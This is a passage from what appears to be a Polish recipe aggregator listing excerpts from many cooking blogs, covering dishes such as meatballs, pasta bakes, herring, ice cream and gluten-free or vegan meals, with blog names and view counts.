masę. Dodać nugat, zmiksować. W dwóch porcjach dodać bitą śmietanę, delikatnie wymieszać łyżką. Następnie dodać ubite białka, delikatnie połączyć. Na końcu wmieszać czekoladę. Do pojemnika wylać połowę lodów, polać sosem karmelowym, następnie wyłożyć pozostałą masę lodową, polać pozostałym karmelem. Zamrozić. Smacznego! Najbardziej w tym tygodniu podobało mi się, że mogłam skorzystać z prawdziwych maszyn do lodów. Takie, które kręcą

Pożeraczka, czyli raz adobrze
Na wysokim obcasie- tort urodzinowy 250

śmietany kremówki 200g czekolady (użyłam 50%) Śmietanę zagrzać, jak zacznie wrzeć odstawić z palnika i wsypać pokruszoną czekoladę.  Pozostawić na 5 minut następnie wymieszać, aż powstanie gładki sos czekoladowy. Schłodzić w lodówce co najmniej 3 godziny, mieszając od czasu do czasu. Następnie zmiksować aż się masa dobrze napowietrzy . Nie miksować za długo, aby się nie zważyło. Krem kawowy

Piekarz-Kucharz-Garkotłuk
Wegańskie bezglutenowe klopsiki z brokuła i kaszy jaglanej 242

Propozycja na piątkowy obiad- klopsiki, tak, tak każdy je kocha, dodać do tego sos koperkowy , pytki jakąś surówkę i jest pełnia szczęścia. Nakulałam z tego przepisu 30 klopsików, średnio na porcję podaję 3-4 więc naprawdę za jednym zamachem mamy kilka obiadów z głowy, bo spokojnie tydzień mogą stać w lodówce. Techniczne podchodząc do tematu, to wszystkie składniki można sobie

greenscarf
Roladki schabowe z suszonymi śliwkami i boczkiem 409

smażyć. Następnie wlać wodę - około 300 - 350ml, przykryć i gotować całość na małym ogniu przez około 30 minut. Po upływie tego czasu wyjmujemy mięso (wyciągamy od razu wykałaczki) a sos przecieramy przez sito. Wlewamy go z powrotem do garnka, dodajemy konfiturę i zaciągamy niewielką ilością mąki aby zgęstniał. Przyprawiamy go do smaku (mój był wystarczająco aromatyczny

My simple kitchen
Kurczak pieczony w rękawie z figami 153

miękkim mięsem, rumianą skórką oraz delikatnie słodkim posmakiem fig, które bardzo lubię. Koniecznie sami spróbujcie! 3 ćwiartki z kurczaka (mogą być dowolne części z kurczaka) Marynata: 1 łyżka sosu sojowego 1 łyżeczka soli 1/2 łyżeczki papryki słodkiej 1/3 łyżeczki curry pieprz (według smaku) Dodatkowo: 5 suszonych fig (użyłam ze Zdrowy Market 24)  Składniki marynaty wymieszać. Kurczaka umyć, ja dodatkowo

Di gotuje
Klopsy z kaszą bulgur i dyną 140

składniki mieszamy, do smaku doprawiamy solą i pieprzem. Z masy formujemy duże klopsy, przekładamy do naczynia żaroodpornego. Zapiekamy pod przykryciem 90 min w temperaturze 190°C. Podajemy z ulubionym sosem. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Kalendarz przygotowań Świątecznych 698

Ryby (2 tygodnie przed wigilią)   W moim wigilijnym menu goszczą zawsze trzy ryby: Karp po żydowsku , Sandacz w galarecie i  Śledź w sosie musztardowym . Ich przygotowanie rozpoczynam zawsze 14 dni przed wigilią. Mimo, że gotowe filety trafią na dwa tygodnie do zamrażalnika, dzięki odpowiedniemu przyrządzeniu możemy zachować ich pełny

kuron.com.pl
Ryba w cieście z domowymi frytkami, czyli FISH&CHIPS 193

podaniem obiadu nie zapomnijcie o skropieniu ryby cytryną, która doda jej świeżości i aromatu. Do domowych frytek warto pomyśleć też o prostych sosach. Szklanka Coca-Coli to natomiast najlepsze zwieńczenie tej kulinarnej, odprężającej uczty.   Ryba w cieście z domowymi frytkami   Składniki:   Ryba: 400g filetów z dorsza

kuron.com.pl
Sałatka ryżowa z tuńczykiem (bezglutenowa) 160

domowych wyrobów. Bardzo polecam :-) Składniki (proporcja dla trzyosobowej rodziny: dwóch dorosłych i dziecko): 2 torebki ryżu po 100 g 1 puszka kukurydzy 1 mała cebula 1 puszka tuńczyka w sosie własnym (150 g) 1 słoik pikli firmy Rolnik (na zdjęciu poniżej) kilka łyżek majonezu (ja użyłam 400 ml) sól, pieprz Wykonanie: 1. Gotujemy ryż i odstawiamy do ostygnięcia

Kawa z mlekiem
Zapiekanka rzymska (bezglutenowa) 215

przyprawiamy wszystkimi przyprawami, dodajemy czosnek przeciśnięty przez praskę. 3. Makaron przekładamy do naczynia żaroodpornego, do makaronu dodajemy przysmażony boczek z cebulą, mieszamy. 4. Następnie dodajemy przyrządzony przez nas wcześniej sos pomidorowy, mieszamy. 5. Następnie trzemy ser żółty na tarce o grubych oczkach, połowę miesszamy z zapiekanką, połowę trzemy na wierzch i przyprawiamy sproszkowaną słodką papryką. Nagrzewamy piekarnik do 180 stopni

Kawa z mlekiem
Makaron z tuńczykiem (bezglutenowy) 182

czas na śmietanę. Mieszamy i chwilę dusimy. 5. Na końcu doprawiamy odpowiednio solą i pieprzem (tak sporo tego pieprzu polecam). 6. Ugotowany makaron przekładamy na patelnię, w której tworzyliśmy sos i mieszamy wszystko razem i gotowe. Podajemy posypane świeżą natką pietruszki. Smacznego

Kawa z mlekiem
Zapiekanka wg Pascala (bezglutenowa) 173

dodajemy jajko, solimy, pieprzymy, sypiemy oregano (u mnie jak zawsze sporo przypraw) i mieszamy. 4. Do naczynia żaroodpornego wrzucamy ugotowany i wystudzony makaron i zalewamy go sporządzonym ze śmietanki sosem. 5. Następnie dodajemy kukurydzę i usmażoną kiełbasę z cebulą, mieszamy. 6. Następnie dodajemy przekrojone na pół pomidorki koktajlowe oraz pokrojone w kosteczkę sery mozarella, mieszamy. 7. Następnie dodajemy brokułowe różyczki

Kawa z mlekiem
Spaghetti z oliwą i czosnkiem (bezglutenowe) 231

przez praskę czosnek, dusimy na wolnym ogniu uważając by czosnek się nie przypalił. 3. Makaronu nie odcedzamy tylko ugotowany makaron przekładamy bezpośrednio z garnka na patelnię i mieszamy z sosem czosnkowym i danie jest praktycznie gotowe. Jeszcze tylko odrobina soli i pieprzu. Podajemy posypane tartym twardym serem. Przepyszne superszybkie danie. Smacznego

Kawa z mlekiem
Bezglutenowy makaron z warzywami 158

Sypiemy bazylię i ewentualnie jeszcze soli, pieprzu i oregano. Mieszamy. 5. W międzyczasie gotujemy makaron jak zwykle. Pół brokułu dzielimy na cząstki i blanszujemy, następnie dodajemy do naszego sosu. 6. Na końcu dodajemy ugotowany makaron, mieszamy i gotowe. Makaron niestety rozpadnie się, ale to nie szkodzi. I tak danie jest pyszne. Podajemy posypane parmezanem i przyozdobione pomidorkami koktajlowymi przekrojonymi

Kawa z mlekiem
Zapiekanka makaronowa z klopsikami (bezglutenowa) 187

dosypujemy bezglutenowej bułki tartej lub kaszki manny. 7. Następnie klopsiki smażymy na oliwie. 8. Do naczynia żaroodpornego wsypujemy ugotowany makaron i układamy usmażone klopsiki. 9. Zalewamy wszystko wcześniej przygotowanym sosem pomidorowym. 10. Wierzch przykrywamy tartym żółtym serem, który potem przyprawiamy słodką papryką. Nagrzewamy piekarnik do temperatury 180 stopni. 11. Przykrywamy naczynie i wkładamy do nagrzanego piekarnika. Pieczemy pod przykryciem

Kawa z mlekiem
Owsianka - wegańskie słodkie śniadanie #3 190

mleka ale takiego UHT, z kartonika, którego się nie gotuje i takie piłam hektolitrami, rano z płatkami różnego rodzaju, z kawą i w formie przetworzonej, w ciastach, naleśnikach, gofrach, sosach, wszędzie. I przez myśl mi nie przeszło, że można przyrządzić owsiankę na wodzie , eureka! Bez problemu można kupić płatki owsiane z certyfikowanym znakiem przekreślonego kłosa i wtedy mamy pełnoprawne danie

Kawa z mlekiem
Robale na patyku 247

krewetki na patyku sprawdzają się doskonale jako imprezowa przekąska. Łatwo je przyrządzić i jeszcze łatwiej zjeść, bez brudzenia sobie rączek . Do krewetkowych szaszłyków warto podać dobry, najlepiej domowej roboty, sos. Ja zrobiłam ketchup bananowy, ale przepis na ten specjał podam Wam jutro. Muszę go spokojnie przygotować bo na razie jest tylko naszkicowany na karteluszku. Ale będzie na pewno, obiecuję. Tymczasem

Smaczna Pyza
zdrowe sniadanie,czyli kasza owsiana 168

objętości wody. Kasza owsiana świetnie sprawdzi się jako samodzielne danie śniadaniowe z dodatkiem orzechów, suszonych owoców , jak również jako dodatek do wypieków oraz zagęszczacz do zup i sosów

w mojej kuchni
Sałatka makaronowa z serem feta i granatem 304

doprawiamy oliwą z oliwek. 4 Podajemy posypane natką pietruszki. Owoce dodawane do dań podkręcają ich smak, tak jak w tych przepisach na: Sałatka z granatem i kurczakiem Kurczak w sosie pomarańczowym z sezamem Sałatka z kurczakiem i grejpfrutem Artykuł Sałatka makaronowa z serem feta i granatem pochodzi z serwisu kuchniabazylii.pl - blog kulinarny

Kuchnia Bazylii
Fasola w sosie pomidorowo-śliwkowym 228

pokrojone śliwki i pomidory.Mi to zajęło dokładnie 2,5 godziny, a mój znajomy, który podsunął mi ten pomysł potrafi gotować nawet 8 Smacznego!       Artykuł Fasola w sosie pomidorowo-śliwkowym pochodzi z serwisu %%http://www.greenscarf.pl/%%.

greenscarf
Makaron z krewetkami w sosie śmietanowym 182

Cześć Wszystkim! :) Dziś zapraszam na przepyszny makaron z krewetkami, szpinakiem i pomidorkami koktajlowymi w delikatnym sosie śmietanowym. Do przygotowania porcji dla 2 osób potrzebujemy: - porcję makaronu - 270 g krewetek (u mnie czerwone argentyńskie) - 2 garście świeżego szpinaku - kilka pomidorków cherry (u mnie żółte i czerwone) - 2 łyżki śmietany 18% - 2 ząbki czosnku - sok z połowy cytryny - szczyptę chili w proszku

Bez Cebuli
Potrawy wigilijne: Ryba po żydowsku 555

dodaj oliwę, ocet, wodę, przecier pomidorowy, keczup ziele angielskie oraz listek laurowy. Całość dokładnie wymieszaj i dopraw cukrem oraz solą i pieprzem do smaku. Zalewę zagotuj. Do gotującego się sosu przełóż podsmażone warzywa. Wszystko dobrze wymieszaj i gotuj przez chwilę i lekko odparuj zalewę. Usmażoną rybę rozłóż w salaterce lub na półmisku. Zalej ją ciepłą zalewą. Gotową rybę po żydowsku

blog.moje-pasje.info
Spaghetti Carbonara 205

makaron ścieramy połowę parmezanu i dokładnie ze sobą mieszamy. Ściągamy patelnię z ognia dodajemy roztrzepane jajka i mieszamy z makaronem - mają się ściąć tylko na rozgrzanym makaronie - ma powstać sos. Wykładamy na talerze i ścieramy resztę sera. Smacznego

Moje-pitraszenie
Fit sałatka z brokułem i wędzonym kurczakiem 294

oczkach zetrzyj jaja ugotowane na twardo, dodaj do brokuła filet potnij w kostkę, dodaj do brokuła i jaja w osobnej misce połącz jogurt, majonez i czosnek, wymieszaj, tak przygotowany sos dodaj do pozostałych składników i wymieszaj Smacznego

Oka w rosole czyli KaFka gotuje
Makaron z brokułem i serem pleśniowym 181

Dzisiaj przepis na pyszne danie bezmięsne.  Makaron z brokułem w sosie z sera pleśniowego to łatwy,  szybki a przede wszystkim smaczny i syty sposób na obiad.  Ja użyłam makaronu spaghetti ale każdy inny świetnie się sprawdzi, polecam. Składniki: 400 g makaronu spaghetti 1 brokuł 1 małą cebula 2 ząbki czosnku 200 ml śmietany

magiczna kuchnia Kasi
Pieczona szynka 190

Szynka pieczona to super pomysł na domową wędlinę. Podajemy ją z pieczywem, musztardą lub ćwikła albo ulubionym sosem na przykład tatarskim. Taka szynka jest o wiele lepsza i zdrowsza od tej sklepowej, która zawiera ileś procent mięsa. Tu mamy pewność, że jest go 100 %.czyli mamy czyste mięso bez dodatków. Rozwiń i czytaj przepis

Ewa w kuchni
Tarte kluski 283

Tarte kluski często zwane szarymi to nic innego jak połączenie  ugotowanych ziemniaków ze surowymi bez dodatku mąki.  Świetnie smakują ze sosem jak również ze skwarkami. Składniki: 1 kg surowych ziemniaków 500 g ugotowanych ziemniaków sól Wykonanie: Ziemniaki obrać i ugotować w lekko osolonej wodzie. Jeszcze gorące przecisnąć przez prasę. Pozostałe  surowe ziemniaki zetrzeć na tarce

magiczna kuchnia Kasi
Omlet z papryką 191

owoców) lub zupełnie na wytrawnie. Wtedy możecie dodać do jajecznej masy sypaną paprykę ostrą, majeranek, pieprz oraz ulubione dodatki. Polecam na kilka sposobów – dziś z papryką, jutro z sosem pomidorowym z natką pietruszki, pojutrze z pomidorkami i fetą posypane świeżymi listkami bazylii. Brzmi fajnie? Kombinujcie, urozmaicajcie dodatki! Smacznego Składniki: 4 jajka 2 łyżki wody połowa czerwonej papryki połowa zielonej

Zasmakuj Kuchni
Pizza z ciasta francuskiego z tuńczykiem i kukurydzą 591

zbliżające się okazje: Mikołajki, Sylwestra czy bezokazyjne spotkania rodzinne lub w gronie znajomych:) Na 12-16 porcji: 2 op. ciasta francuskiego 1-2 puszki tuńczyka w sosie własnym ok. 1/2 puszki kukurydzy pęczek szczypiorku gęsta, kwaśna śmietana 18% około 100 g sera cheddar kilka garści tartej mozzarelli sól, pieprz Ciasto francuskie rozwijamy, kroimy na 6-8 kawałków. Krawędzie ciasta zawijamy

Smaki Na Talerzu
Kurczak na kwaśno Murgh Windaloo 189

około 2 minut na bardzo wolnym ogniu. Włożyć kurczaka i wymieszać, wlać marynatę, dodać miód, płatki chilli i dusić pod przykryciem na wolnym ogniu. Mięso powinno być miękkie, a sos zgęstnieć. kurczak na kwaśno

O kuchni z uczuciem
Ryż cytrynowy – na dodatek nie tylko do ryby 345

razu podajemy. My zjedliśmy tak naszykowany ryż do bakłażanów smażonych po chińsku . Spróbujcie go do szparagów z krewetkami albo do smażonej białej ryby . Świetnie uzupełni też łososia w sosie cytrynowym i soczystą pieczoną pierś kurczaka . SKŁADNIKI 4 porcje jako dodatek 200g ryżu długoziarnistego (niepełna szklanka) 4 lub 5 szklanek wody sól do gotowania, ½ łyżeczki 2-3 łyżki oleju ryżowego

Karo in the Kitchen
smaczny gulasz z łopatki z dynią... 188

wsypać dynię pokrojoną w kostkę, podsmażać z 10 minut, następnie wlać wodę, dodać kostkę rosołową i pod przykryciem gotowac do miękkości mięsa mąkę pszenną wymieszać z wodą i zagęścić sos, dodać paprykę chili w proszku - gulasz wieprzowy z dynią, papryką chili jest bardzo rozgrzewający, sycący, aromatyczny, można zjeść z czym się lubi.............SMACZNEGO

W Mojej Kuchni Lubię
Kąski z kurczaka w parmezanowo-szpinakowej panierce 233

maczamy w nim kawałki kurczaka , a następnie obsypujemy zieloną panierką.  Kawałki kurczaka w panierce smażymy na oleju, a następnie odsączamy na papierze nadmiar tłuszczu Kąski najlepiej podać z sosem tzatziki. Wszystkie smaczne kąski ułożone są na talerzu marki Ambition Dla Wszystkich moich czytelników mam dzisiaj niespodziankę. Zniżkę w wysokości 10% na produkty Ambition  w sklepie Dajar   (rabat

Bon appetit mon amie
Sałatka do obiadu z roszponką i sosem czosnkowym 253

Roszponka to kuzynka sałaty - jedzmy ją na zdrowie! Ma w sobie kilkukrotnie więcej witamin i wartości odżywczych niż zwykła sałata. Podałam ją w sałatce z czosnkowym sosem, przez co stworzyłam prawdziwą witaminową bombę:). 100g roszponki 1 pomidor 1 ogórek 1/4 puszki kukurydzy 150g jogurtu naturalnego 2 ząbki czosnku  3 łyżki koperku  sól, pieprz 1. Pomidory kroimy w kostkę

Szefowa kuchni
Sałatka z tuńczykiem i soczewicą 271

soczewicą, ostatnio coraz częściej przyrządzam sałatki z olejem, smakują mi bardziej niż z majonezem. Tą przygotowałam sobie do pracy na drugie śniadanie, polecam. Składniki: 2 puszki tuńczyka w sosie własnym 1 puszka soczewicy Rolnik 0,5 słoika pomidorów suszonych 200 gram drobnego makaronu 1 papryka czerwona Kawałek pora 4 łyżki oleju lnianego Sól, pieprz Pół pęczka natki pietruszki Sposób przygotowania

Bajeczna Kuchnia
PIECZONY SCHAB, ZIEMNIAKI I COLESŁAW – wspomnienie smaków dzieciństwa! 212

łyżek * mleko – 0,5 szkl * cukier puder – 4 łyżeczki * sok z cytryny – 3 łyżki * sól, pieprz – do smaku SPOSÓB PRZYRZĄDZENIA: COLESŁAW: Warzywa szatkujemy, zalewamy sosem zrobionym z majonezu, mleka, cukru pudru i soku z cytryny. Doprawiamy do smaku, wstawiamy do lodówki na co najmniej 2 godziny. SCHAB: Schab czyścimy. Posiekaną drobno cebulę oraz czosnek mieszamy

Ostra na Słodko
domowy makaron z semoliny 218

ziaren pszenicy durum. Doskonała do wyrobu makaronów, które mają jasnożółty kolor i nie sklejają się po ugotowaniu. Nadaje się również do wyrobu pizzy, a także do zagęszczania zup czy sosów.  ja kupuje na allegro mąkę semolinę z pszenicy durum 2 kg za  8,90zł   Wykonanie Mąkę wysypać na stolnicę, uformować kopiec z dołkiem w środku. Wbić

w mojej kuchni
Śledzie po fińsku 234

pół godziny. Cebulę dodać do śmietany i wymieszać. Odstawić do lodówki. Śledzie pokroić według uznania i wyłożyć na półmisek. Posypać zielonym groszkiem(łyżkę groszku odłożyć do dekoracji)i polać sosem śmietanowym. Udekorować groszkiem i pietruszką. Schłodzić

Pysznie & Pięknie
Schabowy w paluszkowej panierce 190

smażenia (ja użyłam oleju rzepakowego)  Sposób przygotowania: Kotlety wieprzowe rozbijamy tłuczkiem do mięsa. Z każdej strony posypujemy je solą i pieprzem. Majonez łączymy z ketchupem. Tak przygotowanym sosem smarujemy kotlety z każdej strony. Paluszki drobno rozdrabniamy (ja użyłam do tego celu tłuczka do mięsa). Do rozdrobnionych paluszków dodajemy ostrą paprykę, dokładnie mieszamy. Schabowe panierujemy w przygotowanej w ten sposób

Pobite gary Barbary
NIEZWYKŁE PIEROGI - Z KWIATAMI KLITORII, RUKOLĄ, KURKUMĄ, ATRAMENTEM Z KAŁAMARNICY, BURAKIEM I MAKIEM 244

antocyjanów. Kolor zielony to efekt zblendowanej rukoli, żółty odcień pierogom nadała mega zdrowa kurkuma, czarny uzyskałam poprzez dodanie wyjątkowego atramentu z kałamarnicy, używanego do barwienia świeżych makaronów, kopytek, ravioli, sosów czy risotto. Burak nadał pierogom piękny, różowy kolor, zaś ziarenka maku dodałam to "białego ciasta" i powstały pierogi w kropki. Wszystkie pierogi nadziałam pysznymi farszami: niebieskie - smażonymi krewetkami i dynią

Słodko-Słony Świat Ilony
Zdrowy lunch na wynos: quinoa z kurczakiem, surowymi burakami i awokado 212

minut. Awokado i kurczaka pokroić na kawałki. Wszystkie składniki winegretu umieścić w małym naczyniu i wymieszać na jednolitą emulsję, doprawić do smaku (jeśli składniki nie łączą się lub sos jest za gęsty, można dodać kilka kropel wody). Do pudełek lub na talerze przełożyć komosę, wyłożyć rukiew/rukolę, kawałki kurczaka, awokado i plastry buraka. Całość posypać pestkami i polać winegretem. Smacznego

Even Better Food
Wegetariański pasztet musztardowo-grzybowy, w kruchym cieście 230

sprawdził sie w tym daniu idealnie. 150 g suchej zielonej soczewicy 150 g suchej kaszy jaglanej duża cebula 3 łyżki oleju Rzepakowy Wielkopolski SemCo, do smażenia 2 łyżki sosu sojowego tamari 100 ml oleju Rydzowy SemCo 2 łyżki zmielonych suszonych grzybów (użyłam prawdziwków) 3 liście laurowe 3 ziarna ziela angielskiego łyżeczka majeranku łyżeczka kurkumy szczypta gałki muszkatołowej sól i mielony

Mienta blog
Szynka staropolska 415

Szynka w staropolskim wydaniu będzie niewątpliwie ozdobą świątecznego stołu. Zapach jałowcowych nasion i liści laurowych roztacza się przy pieczeniu mięsa. Szyneczka po staropolsku znakomicie smakuje z sosem żurawinowym (kliknij tutaj ), albo jako kanapkowy dodatek. Potrzebujemy: Czytaj więcej

Tylko pysznie
Piersi kaczki z gruszkami 164

przyprawy, zmiksowałem. Do rondla dodałem śmietanę , podgrzałem ok. 5 minut. Pozostałe gruszki ugotowałem ok. 3 min. w wodzie z łyżką cukru. Wyjąłem, osączyłem.. Pokrojone piersi kaczki podałem z sosem, obłożyłem ugotowanymi gruszkami

R'n'G Kitchen
Zupa z podgrzybków 166

garnka wlewamy bulion, dodajemy ziele i liście oraz marchewkę, pietruszkę, ziemniaki i małą cebulką z łupinką, zagotowujemy i dodajemy farsz z patelni: grzyby z cebulką (wraz z powstałym maślanym sosem), gotujemy 15 minut, by składniki się połączyły ze sobą, doprawiamy solą, pieprzem; na koniec dodajemy śmietanę (lub nie) i dobrze mieszamy; aby nie było grudek najlepiej odlać kilka łyżek zupy

Zasmakuj Kuchni
Ziemniaki faszerowane pieczarkami i serem 1183

Ziemniaki faszerowane pieczarkami i serem to wyśmienite, bezmięsne danie na obiad. Podajemy je z ulubioną surówką, sosem tzatziki czy czosnkowym albo z barszczem czerwonym. Składniki: 4 duże ziemniaki 300 g pieczarek cebula 150 g sera żółtego garść natki pietruszki jajko sól, pieprz Przygotowanie Ziemniaki szorujemy i gotujemy w mundurkach na półmiękko. Studzimy, obieramy ze skóry i przekrawamy wzdłuż na pół

e-PrzepisyKulinarne
placki czekoladowe 242

smaż na rozgrzanej patelni z odrobiną oleju/masła ok 1 min z każdej strony - jak zobaczycie, że ciasto zaczyna odchodzić po bokach - można przerzucać :) podajemy z cukrem pudrem lub sosem czekoladowym Smacznego

Gotowanie z pasją
Imprezowa frittata 170

gości. Całą masę można przygotować już rano i wstawić do lodówki. Świetnym dodatkiem jest Ketchup Łagodny Kotlin . Ma on idealnie pomidorowy smak, więc zaoszczędzi nam czasu w przygotowywaniu dodatkowego sosu pomidorowego. Bo imprezy są po to by spędzać je w gronie przyjaciół i rodziny, a nie w kuchni.  SKŁADNIKI 1 czerwona cebula 2 czerwone papryki 100 g pomidorków rzymskich

Passions hobbies life
Śledzie w śmietanie z jabłkiem 476

Ilość śmietany możecie dobrać wedle potrzeb i własnych upodobań. Na zdjęciu widzicie śledzia z dość małą ilością śmietany, ale możecie swobodnie dodać 2-3 łyżki jeśli lubicie więcej „sosu”. Polecam Wam także:- – śledzie po kaszubsku – śledzie w czosnku i majeranku – śledzie w śmietanie na pieczonym ziemniaku – śledzie w oleju – śledź pikantny z chilli i suszonymi pomidorami

nietylkopasta.pl
Zupa krem z buraków 227

pietruszka 3 ziemniaki 3 ząbki czosnku 3 liście laurowe 4 ziarna ziela angielskiego 2,5 łyżeczki majeranku 1 łyżka stołowa soku z cytryny śmietana 18% do zup i sosów sól, pieprz do smaku Wykonanie: Wszystkie warzywa pokrój w kostkę, wrzuć następnie do bulionu. Dodaj wszystkie przyprawy, a gdy bulion się zagotuje, dodaj również do całości sok z cytryny. Dzięki temu

Garniec Magalie
Zapiekanka z cukinii, suszonych pomidorów i czerstwego pieczywa 221

piekarniku nagrzanym do temperatury 180 stopni przez około 45 minut. Wierzch zapiekanki powinien lekko zarumienić się. Podawać jako zamiennik ziemniaków (np. do mięs) lub jako samodzielne danie z pikantnymi sosami. Wykorzystujecie czerstwe pieczywo do zapiekanek

Codzienna kuchnia niecodzienna
Konfitura jabłkowa z cynamonem i goździkami 210

puder, cukier wanilinowy, dobrze wymieszaj. Duś na średnim ogniu bez przykrycia co jakiś czas mieszając, by się nic nie przypaliło. Jeśli zobaczysz, że konfitura ładnie się łączy w słodki sos (około 30-40 minut), zdejmij ją z ognia i napełnij nią wyparzone i dobrze wysuszone słoiczki. Ułóż je do góry dnem do ostygnięcia na bawełnianej kuchennej ściereczce. Wieczka po przewróceniu

Zasmakuj Kuchni
,,Muszle makaronowe faszerowane mięsem i oliwkami’’ 181

Muszle makaronowe faszerowane mięsem mielonym i czarnymi oliwkami , zapiekane w sosie pomidorowym to pyszne i niezawodne danie. Prostsza wersja bolognese, w dodatku w formie zapiekanki. Do przygotowania zapiekanki wykorzystałam produkty OLE, HELIO Natura ePrezenty Składniki: 30 muszli makaronowych 500 g mięsa mielonego z indyka 1 puszka pomidorów 1 cebula 3 ząbki czosnku 10 czarnych oliwek Ole 10 dag sera żółtego

Podróż w kulinaria
Naleśniki z serem zapiekane na patelni 327

serem zapiekane na patelni podajemy na ciepło posypane cukrem pudrem. Smacznego naleśniki z serem zapiekane na patelni Zapraszam również do skorzystania z innych przepisów: Naleśniki z jabłkami, pomarańczami i sosem karmelowym Naleśniki z jabłkami i karmelem Krokiety z kapustą kiszoną i grzybami   Artykuł Naleśniki z serem zapiekane na patelni pochodzi z serwisu Księga Smaku

Księga-Smaku
Sandacz smażony w sezamie na sałatce z marchewki, szpinaku i makaronu Pesso 166

Składniki na 2 porcje : 300g filet z sandacza łyżka sezamu sól, biały pieprz do smaku 2 łyżki oliwy 100g szpinaku baby 60g marchewki 60g marchewki fioletowej 90g makaronu Pesso sos vinegret: 1 łyżka oliwy + 1 łyżka wody + łyżeczka miodu + łyżeczka białego octu balsamicznego + łyżeczka soku z cytryny Szpinak umyć i pozwolić, żeby ociekł na czystej ściereczce. Marchewki obrać, następnie

Dietolog
Śledź po polsku 223

smaczne połączenie z wieloma dodatkami a jego przygotowanie nie jest skomplikowane. Zapraszam na śledzia po polsku z sporą ilością cebulki, leśnymi grzybami i suszonymi śliwkami skąpanego w aromatycznym, pomidorowym sosie. Składniki: 400g filetów śledziowych a'la matias 2 cebule białe garść suszonych borowików lub podgrzybków 2-3 suszone śliwki łyżka pasty pomidorowej 3-4 listki laurowe 3-4 kulki ziela

Pyry na Gaz
Królik w białym winie i czosnku 204

Główkę czosnku kroimy w poprzek na pół, wrzucamy do garnka. Wlewamy wino, dodajemy tymianek i dusimy na małym ogniu przez 30 minut. Po tym czasie doprawiamy solą i pieprzem sos.  Podajemy z  ziemniakami lub ryżem

Kulinarne przygody Gatity
Puszyste placuszki z płatkami kukurydzianymi i cebulą 150

kolację czy też na (nie) zwykłą przekąskę. Niedawno prezentowałam placuszki na słodko - z miodem , a tym razem przedstawiam prostą wersję wytrawną - z cebulą. Zapewniam, że znikają ekspresowo! Wystarczy ulubiony sos, ketchup, świeże warzywa lub... zresztą solo również są rewelacyjne! Koniecznie spróbujcie! (około 13 sztuk) 2 szklanki płatków kukurydzianych (1 szklanka = 250 ml) 1 jajko 200g gęstego jogurtu naturalnego

Di gotuje
Wietnamski kurczak curry 323

Składniki: 4 ćwiartki z kurczaka 2 szalotki 3 ząbki czosnku 1/2 papryczki chili 1 cm imbiru 1 łyżka przyprawy corma curry 2-3 łyżki sosu sojowego 1 puszka mleka kokosowego 2 … Czytaj dalej Wietnamski kurczak curry

czarrna od kuchni
Gdzie kupować produkty bezglutenowe i przepis na bezglutenowe marchewkowe babeczki 213

wykorzystywany, np. dla poprawy sprężystości, elastyczności, lepkości czy plastyczności produktów spożywczych. Wymienione właściwości sprawiają, że gluten znajdziecie nie tylko w produktach mącznych, ale również np. w wędlinach, mielonym mięsie, sosach, ketchupach, przyprawach, przekąskach (jak chipsy), kremach, marmoladach, a nawet lodach. Wśród moich znajomych jest kilka osób na diecie bezglutenowej, dlatego tak ważną rolę przykładam do robienia zakupów, gdy zapraszam

Słodkie okruszki
Nie masz pomysłu na szybką przekąskę? Wypróbuj nasze przepisy! 274

przygotowanym cieście, a następnie w bułce tartej. Smażymy na głębokim tłuszczu około 1 minutę z każdej strony na złoty kolor. Wyjmujemy na ręcznik papierowy. Krążki cebulowe podajemy z ulubionym sosem. Smacznego Francuskie zawijasy z serem Składniki: 1 opakowanie ciasta francuskiego 200 g sera żółtego np. cheddara 1 łyżka koncentratu pomidorowego łyżeczka słodkiej czerwonej papryki 1 ząbek czosnku 1 jajko sól

Słodkie okruszki
Kotlety ziemniaczane 174

odparowania. Dodać do ziemniaków - nie zapomnieć szpinaku , jajku i mące - wymieszać, doprawić. Ukulane kotlety obtoczyć w bułce tartej i smażyć po kilka minut z każdej strony..podać z dowolnym sosem u mnie pieczarkowy  Smacznego

Gaździnka warzy
Śledzie w śmietanie z koperkiem + film 790

sprawdzi się zarówno podczas świąt, jak i w powszednie dni. Przepis jest bardzo prosty i szybki w wykonaniu, a śledzie z dodatkiem jabłka, cebuli, ogórków kiszonych oraz koperku w sosie śmietanowym smakują wybornie.     składniki na 4 porcje 500 g płatów śledziowych solonych 1 duża lub małe cebule 3 ogórki kiszone 1 jabłko 300 g śmietany 18% 3 łyżki

Smakowite Dania
Gulasz z soczewicy ze szpinakiem i boczkiem 253

soczewicy można przyrządzić z boczkiem i kurczakiem. Danie równie wykwintne i aromatyczne. Jak wspomniałam wyżej czerwona soczewica szybko się rozgotowuje. Dla mnie to żadne zmartwienie, bo soczewica zagęszcza sos, więc nie muszę bawić się w jakieś zasmażki. Gulasz świetnie smakuje z kaszą bulgur . Dawno nie gotowałam tej kaszy, więc troszeczkę stęskniłam się za jej smakiem. Jeśli Wam zostaje bulgur

codojedzenia
Mac and Cheese – makaron z serem w nowej wersji – z dynią! (wegański) 210

stworzyć jego wegańską wersję potrzebujemy wegańskiego sera. Możemy go otrzymać z ziemniaków, do których dodajemy płatki drożdżowe. Jednak chcę Wam pokazać coś jeszcze innego – czyli makaron z sosem serowym zrobionym z dyni! Bardzo pozytywnie zaskoczył mnie smak tego dania, więc polecam Wam wypróbować przepis // Składniki: 200 g makaronu 1 szklanka puree z dyni 3 łyżki płatków drożdżowych 1 cebula

Via Gusto
Klopsiki w pomidorach z brukselką i batatami 219

Jeżeli znudziły się Wam tradycyjne klopsiki w sosie pomidorowym to mamy dla Was nowy przepis. Na pewno posmakują Wam w nowej odsłonie klopsiki w pomidorach z brukselką i batatami :) Składniki na klopsiki: – 250 g mięsa mielonego z łopatki wieprzowej – 1 jajko – 1/2 łyżeczki przyprawy garam masala – sól Składniki dodatkowe

Kuchenne Wariacje
Pulpeciki z tuńczyka 246

masa jajeczno-tuńczykowa wyszła zbyt wodnista, dosypujemy stopniowo bułki tartej). Panierujemy w jajku, oraz w bułce tartej. Smażymy w głębokim, średnio rozgrzanym tłuszczu na złoto.   Można podać z sosem śmietanowym – 2 cebulki dymki drobno siekamy (biała część), przekładamy do garnuszka i zalewamy 1 łyżką białego octu winnego, odstawiamy na kilka minut. Po tym czasie dodajemy 3 łyżki gęstej

Smaki Na Talerzu
